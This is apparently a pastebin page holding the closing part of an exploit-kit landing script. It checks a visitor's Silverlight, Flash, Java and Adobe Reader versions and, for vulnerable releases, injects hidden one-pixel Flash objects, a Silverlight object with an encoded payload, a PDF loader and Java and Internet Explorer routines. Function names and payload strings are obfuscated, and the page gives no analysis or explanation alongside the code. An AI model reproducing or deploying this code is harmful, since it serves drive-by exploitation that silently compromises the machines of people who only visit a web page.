  1988.     ffbgrnth5we('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="/b302d5a5473fdc6/1413750840" /><param name="initParams" value="tuti=YOsTWLl+AwAASYA0CByFyXX3/9Bhw+jo////9RcfHBxCSZX5dHNyHBx0aW5wcUh0klIS8HQL1jdy9EgeHBxFRXR581MZTPSMHhwcTHYadhx0BxrUEXT6Jmsy9C8eHBwtx6sMdlxPT3YcdEjWs410C9Y3cvQGHhwci3R9ncXTdAvWN3L0Fh4cHCAaYAxPS/ShHBwcnOA8YRh2HfcedhxKS/SZHBwcSpFoWxr0cxwcHJncaUp2F0VVaExNn2HkHWgGSvSPHRwcmdxpBi3ceJdcBJdcKCH4HhwcacdK9M4cHByZ3GjNRUIt3FokWuNp5iQaabBLW1t6JRtp5dsbJxwtHJFrGkP0CRwcHNXfdhx24nSEc1MhdO7HaLH0aB0cHC3VTU1PSktN40ng30mV+XYcdDkcTxyV/ONpEEzjaRR0Ylafy3Tux2ix9FodHBzV3hQcSZX5Skuia/cXPUxIdhR243QTuwJFSvQ7HRwcRo3/IJdhFExI42kQS3YFTnRGcsfHSvQQHRwcjUT/PeMrdNGQa+1K9OccHBwTqhRVTeMrdC5iGjxK9PUcHByXFI1DQtXeFBxKS0mV+ZdpDEpaep8iHGnlkWIf9A0cHBwzfzxvaH1uaDw+Pjw+OW8+HEv0VePj45FoWx5LSnRiVp/LdO7HaLH0gBwcHHYgRTXQkWHYTUst3O+2Q5Mbdm90chx9HHRuHGkclXsQdB3pCX50Gv6xLvRxHBwclVsU9AwcHBx/HHEceBwyHHkcZBx5HBwck1sMlWsIS3TBxDLgdOZmifj0IxwcHNVDQt4YHEmV+XZIRTXQS5FhsEst3O+2Q5FTDHZYkx1LTUxMTExMTEzjaRR0lOKvCnQL1jdy9BkcHBxD1d4YHEX0FRwcHEz0IRwcHE3j/Hwt3HiXTCyXThCXTgiXbjQt4y3csFqZ3GgRIH1gHjA83dMRHdv39ydgODiXXgyXDmnHlVg4AH3eGBx8l3A4OJdZIJdIGWQd9pdWBJdGPB33/yhVlyiXHfIt4y3c4LCY3Ggb3dMRHdv36CdgODRp/ZdGOB33epcQV5dGAB33lxiXHfSVWDgAfd4UHPTs4OPjdGhobCYzM391b39zcWx0ZTJ/ejN+LywueCl9KXh/KjMtKC0vKyksJCgsMyQcf395KSkoeSwqKSQpKCklLCQsJSwrLCkpKCktKXgpKil+LC0sfiwvKS0sLCkvKS8pfywpLCknLScqHBwcAAAA"/></object></div></form>');
  1989. }
  1990.  
  1991. function flash_run() {
  1992.     var f_use = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1">';
  1993.     f_use = f_use + '<param name="movie" value="/b302d5a5da8edc6/1413750840" />';
  1994.     f_use = f_use + '<param name="play" value="true"/>';
  1995.     f_use = f_use + '<param name=FlashVars value="exec=AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlH3" />';
  1996.     f_use = f_use + '<!--[if !IE]>-->';
  1997.     f_use = f_use + '<object type="application/x-shockwave-flash" data="/b302d5a5da8edc6/1413750840" allowScriptAccess=always width="1" height="1">';
  1998.     f_use = f_use + '<param name="movie" value="/b302d5a5da8edc6/1413750840" />';
  1999.     f_use = f_use + '<param name="play" value="true"/>';
  2000.     f_use = f_use + '<param name=FlashVars value="exec=AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlH3" />';
  2001.     f_use = f_use + '<!--<![endif]-->';
  2002.     f_use = f_use + '<!--[if !IE]>--></object><!--<![endif]-->';
  2003.     f_use = f_use + '</object>';
  2004.     ffbgrnth5we(f_use);
  2005. }
  2006.  
  2007. function flash_run2() {
  2008.     var f_use = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1">';
  2009.     f_use = f_use + '<param name="movie" value="/b302d5a50579dc6/1413750840" />';
  2010.     f_use = f_use + '<param name="play" value="true"/>';
  2011.     f_use = f_use + '<param name=FlashVars value="exec=AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlH3" />';
  2012.     f_use = f_use + '<!--[if !IE]>-->';
  2013.     f_use = f_use + '<object type="application/x-shockwave-flash" data="/b302d5a50579dc6/1413750840" allowScriptAccess=always width="1" height="1">';
  2014.     f_use = f_use + '<param name="movie" value="/b302d5a50579dc6/1413750840" />';
  2015.     f_use = f_use + '<param name="play" value="true"/>';
  2016.     f_use = f_use + '<param name=FlashVars value="exec=AhhjyHHuctuoajAs8u5HvLlwYrErYu4HxGxL3rlqGlH3" />';
  2017.     f_use = f_use + '<!--<![endif]-->';
  2018.     f_use = f_use + '<!--[if !IE]>--></object><!--<![endif]-->';
  2019.     f_use = f_use + '</object>';
  2020.     ffbgrnth5we(f_use);
  2021. }
  2022.  
  2023. function pdf_run() {
  2024.     fg("/b302d5a5fec8dc6/1413750840", "74", "94");
  2025. }
  2026. if (c_a == 0) {
  2027.     if ((s_version[0] > 0 && s_version[0] < 5) || (s_version[0] == 5 && s_version[1] == 0 && s_version[1] <= 61118)) {
  2028.         silver_run();
  2029.     }
  2030.     if (CheckVersion11(f_version) || CheckVersion12(f_version)) {
  2031.         flash_run();
  2032.     }
  2033.     if (CheckVersion13(f_version) || CheckVersion14(f_version) || CheckVersion15(f_version)) {
  2034.         flash_run2();
  2035.     }
  2036.     if (java_run > 0) {
  2037.         asfwe(java_run);
  2038.     }
  2039.     if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
  2040.         pdf_run();
  2041.     }
  2042.     msie_run();
  2043. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement